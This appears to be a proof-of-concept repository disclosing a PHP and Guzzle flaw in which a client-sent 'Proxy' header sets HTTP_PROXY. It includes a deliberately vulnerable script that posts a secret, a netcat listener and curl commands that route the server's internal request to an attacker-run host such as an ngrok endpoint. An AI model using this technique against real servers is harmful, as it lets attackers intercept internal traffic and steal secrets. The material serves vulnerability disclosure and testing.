├── .gitignore ├── Dockerfile ├── README.md ├── composer.json ├── composer.lock └── index.php /.gitignore: -------------------------------------------------------------------------------- 1 | vendor 2 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.0.8-apache 2 | 3 | COPY . /var/www/html/ 4 | WORKDIR /var/www/html 5 | 6 | RUN apt-get update && apt-get install -y git zip unzip 7 | 8 | RUN curl -sS https://getcomposer.org/installer | php 9 | RUN ./composer.phar install 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Guzzle FPM Proxy Vulnerability 2 | 3 | Some command-line HTTP clients support a set of environment variables to configure a proxy. These 4 | are of the form `_PROXY`; `HTTP_PROXY` is particularly noteworthy. 5 | 6 | Separately, PHP takes user-supplied headers, and sets them as `HTTP_*` in the `$_SERVER` autoglobal. 7 | 8 | ## Steps 9 | 10 | This is how the vulnerability works: 11 | 12 | 1. Do the usual PHP thing of exposing user-supplied headers as `$_SERVER['HTTP_*']` 13 | 2. Be using Guzzle from FPM or Apache (haven't tested with other SAPIs, assume some others possibly vulnerable too) 14 | 3. As an HTTP client, inject a `Proxy: my-malicious-service` header to any request made 15 | 4. Watch as Guzzle helpfully sends the request to the malicious proxy, supplied by the client 16 | 17 | ## Using this repo 18 | 19 | Here is how you can see it in action: 20 | 21 | 1. Clean up running instances from the last run: 22 | 23 | ```sh 24 | docker stop fpm-test-instance > /dev/null 2>&1 25 | docker rm fpm-test-instance > /dev/null 2>&1 26 | ``` 27 | 28 | 2. Start a new test instance of the vulnerable script: 29 | 30 | ```sh 31 | docker build -t fpm-guzzle-proxy . 32 | docker run -d -p 80:80 --name fpm-test-instance fpm-guzzle-proxy 33 | ``` 34 | 35 | 3. Start some sort of capturing proxy, to test whether the request comes through. Note that things interpreting HTTP_PROXY 36 | don't seem to care about the path portion of the URL (so, requestb.in won't work). I have had success with `ngrok tcp 9999`, 37 | but it requires a paid account. Another one that works well for local testing is: 38 | 39 | `nc -l 12345` 40 | 41 | 4. Then, fire a request at your vulnerable script, and watch the data arrive at the user-specified proxy: 42 | 43 | ```sh 44 | curl -H 'Proxy: 0.tcp.ngrok.io:12345' 127.0.0.1 45 | ``` 46 | 47 | or 48 | 49 | ```sh 50 | curl -H 'Proxy: 172.17.0.1:12345' 127.0.0.1 51 | ``` 52 | 53 | etc. 54 | 55 | 56 | -------------------------------------------------------------------------------- /composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "dominic/fpm-guzzle-proxy", 3 | "description": "PoC of Guzzle proxy misconfiguration", 4 | "require": { 5 | "guzzlehttp/guzzle": "~6.0" 6 | }, 7 | "authors": [ 8 | { 9 | "name": "Dominic Scheirlinck", 10 | "email": "dominic@vendhq.com" 11 | } 12 | ] 13 | } 14 | -------------------------------------------------------------------------------- /composer.lock: -------------------------------------------------------------------------------- 1 | { 2 | "_readme": [ 3 | "This file locks the dependencies of your project to a known state", 4 | "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#composer-lock-the-lock-file", 5 | "This file is @generated automatically" 6 | ], 7 | "hash": "6fcaeadf175cd5020df994dfd51968b6", 8 | "content-hash": "e57ef1a2c138d12e3ec3867ffafb6821", 9 | "packages": [ 10 | { 11 | "name": "guzzlehttp/guzzle", 12 | "version": "6.2.0", 13 | "source": { 14 | "type": "git", 15 | "url": "https://github.com/guzzle/guzzle.git", 16 | "reference": "d094e337976dff9d8e2424e8485872194e768662" 17 | }, 18 | "dist": { 19 | "type": "zip", 20 | "url": "https://api.github.com/repos/guzzle/guzzle/zipball/d094e337976dff9d8e2424e8485872194e768662", 21 | "reference": "d094e337976dff9d8e2424e8485872194e768662", 22 | "shasum": "" 23 | }, 24 | "require": { 25 | "guzzlehttp/promises": "~1.0", 26 | "guzzlehttp/psr7": "~1.1", 27 | "php": ">=5.5.0" 28 | }, 29 | "require-dev": { 30 | "ext-curl": "*", 31 | "phpunit/phpunit": "~4.0", 32 | "psr/log": "~1.0" 33 | }, 34 | "type": "library", 35 | "extra": { 36 | "branch-alias": { 37 | "dev-master": "6.2-dev" 38 | } 39 | }, 40 | "autoload": { 41 | "files": [ 42 | "src/functions_include.php" 43 | ], 44 | "psr-4": { 45 | "GuzzleHttp\\": "src/" 46 | } 47 | }, 48 | "notification-url": "https://packagist.org/downloads/", 49 | "license": [ 50 | "MIT" 51 | ], 52 | "authors": [ 53 | { 54 | "name": "Michael Dowling", 55 | "email": "mtdowling@gmail.com", 56 | "homepage": "https://github.com/mtdowling" 57 | } 58 | ], 59 | "description": "Guzzle is a PHP HTTP client library", 60 | "homepage": "http://guzzlephp.org/", 61 | "keywords": [ 62 | "client", 63 | "curl", 64 | "framework", 65 | "http", 66 | "http client", 67 | "rest", 68 | "web service" 69 | ], 70 | "time": "2016-03-21 20:02:09" 71 | }, 72 | { 73 | "name": "guzzlehttp/promises", 74 | "version": "1.2.0", 75 | "source": { 76 | "type": "git", 77 | "url": "https://github.com/guzzle/promises.git", 78 | "reference": "c10d860e2a9595f8883527fa0021c7da9e65f579" 79 | }, 80 | "dist": { 81 | "type": "zip", 82 | "url": "https://api.github.com/repos/guzzle/promises/zipball/c10d860e2a9595f8883527fa0021c7da9e65f579", 83 | "reference": "c10d860e2a9595f8883527fa0021c7da9e65f579", 84 | "shasum": "" 85 | }, 86 | "require": { 87 | "php": ">=5.5.0" 88 | }, 89 | "require-dev": { 90 | "phpunit/phpunit": "~4.0" 91 | }, 92 | "type": "library", 93 | "extra": { 94 | "branch-alias": { 95 | "dev-master": "1.0-dev" 96 | } 97 | }, 98 | "autoload": { 99 | "psr-4": { 100 | "GuzzleHttp\\Promise\\": "src/" 101 | }, 102 | "files": [ 103 | "src/functions_include.php" 104 | ] 105 | }, 106 | "notification-url": "https://packagist.org/downloads/", 107 | "license": [ 108 | "MIT" 109 | ], 110 | "authors": [ 111 | { 112 | "name": "Michael Dowling", 113 | "email": "mtdowling@gmail.com", 114 | "homepage": "https://github.com/mtdowling" 115 | } 116 | ], 117 | "description": "Guzzle promises library", 118 | "keywords": [ 119 | "promise" 120 | ], 121 | "time": "2016-05-18 16:56:05" 122 | }, 123 | { 124 | "name": "guzzlehttp/psr7", 125 | "version": "1.3.1", 126 | "source": { 127 | "type": "git", 128 | "url": "https://github.com/guzzle/psr7.git", 129 | "reference": "5c6447c9df362e8f8093bda8f5d8873fe5c7f65b" 130 | }, 131 | "dist": { 132 | "type": "zip", 133 | "url": "https://api.github.com/repos/guzzle/psr7/zipball/5c6447c9df362e8f8093bda8f5d8873fe5c7f65b", 134 | "reference": "5c6447c9df362e8f8093bda8f5d8873fe5c7f65b", 135 | "shasum": "" 136 | }, 137 | "require": { 138 | "php": ">=5.4.0", 139 | "psr/http-message": "~1.0" 140 | }, 141 | "provide": { 142 | "psr/http-message-implementation": "1.0" 143 | }, 144 | "require-dev": { 145 | "phpunit/phpunit": "~4.0" 146 | }, 147 | "type": "library", 148 | "extra": { 149 | "branch-alias": { 150 | "dev-master": "1.4-dev" 151 | } 152 | }, 153 | "autoload": { 154 | "psr-4": { 155 | "GuzzleHttp\\Psr7\\": "src/" 156 | }, 157 | "files": [ 158 | "src/functions_include.php" 159 | ] 160 | }, 161 | "notification-url": "https://packagist.org/downloads/", 162 | "license": [ 163 | "MIT" 164 | ], 165 | "authors": [ 166 | { 167 | "name": "Michael Dowling", 168 | "email": "mtdowling@gmail.com", 169 | "homepage": "https://github.com/mtdowling" 170 | } 171 | ], 172 | "description": "PSR-7 message implementation", 173 | "keywords": [ 174 | "http", 175 | "message", 176 | "stream", 177 | "uri" 178 | ], 179 | "time": "2016-06-24 23:00:38" 180 | }, 181 | { 182 | "name": "psr/http-message", 183 | "version": "1.0", 184 | "source": { 185 | "type": "git", 186 | "url": "https://github.com/php-fig/http-message.git", 187 | "reference": "85d63699f0dbedb190bbd4b0d2b9dc707ea4c298" 188 | }, 189 | "dist": { 190 | "type": "zip", 191 | "url": "https://api.github.com/repos/php-fig/http-message/zipball/85d63699f0dbedb190bbd4b0d2b9dc707ea4c298", 192 | "reference": "85d63699f0dbedb190bbd4b0d2b9dc707ea4c298", 193 | "shasum": "" 194 | }, 195 | "require": { 196 | "php": ">=5.3.0" 197 | }, 198 | "type": "library", 199 | "extra": { 200 | "branch-alias": { 201 | "dev-master": "1.0.x-dev" 202 | } 203 | }, 204 | "autoload": { 205 | "psr-4": { 206 | "Psr\\Http\\Message\\": "src/" 207 | } 208 | }, 209 | "notification-url": "https://packagist.org/downloads/", 210 | "license": [ 211 | "MIT" 212 | ], 213 | "authors": [ 214 | { 215 | "name": "PHP-FIG", 216 | "homepage": "http://www.php-fig.org/" 217 | } 218 | ], 219 | "description": "Common interface for HTTP messages", 220 | "keywords": [ 221 | "http", 222 | "http-message", 223 | "psr", 224 | "psr-7", 225 | "request", 226 | "response" 227 | ], 228 | "time": "2015-05-04 20:22:00" 229 | } 230 | ], 231 | "packages-dev": [], 232 | "aliases": [], 233 | "minimum-stability": "stable", 234 | "stability-flags": [], 235 | "prefer-stable": false, 236 | "prefer-lowest": false, 237 | "platform": [], 238 | "platform-dev": [] 239 | } 240 | -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | request('POST', 'http://my-internal-microservice.example.com/', [ 11 | 'secret' => 'some-really-secret-string' 12 | ]); 13 | 14 | echo "Request sent\n"; 15 | --------------------------------------------------------------------------------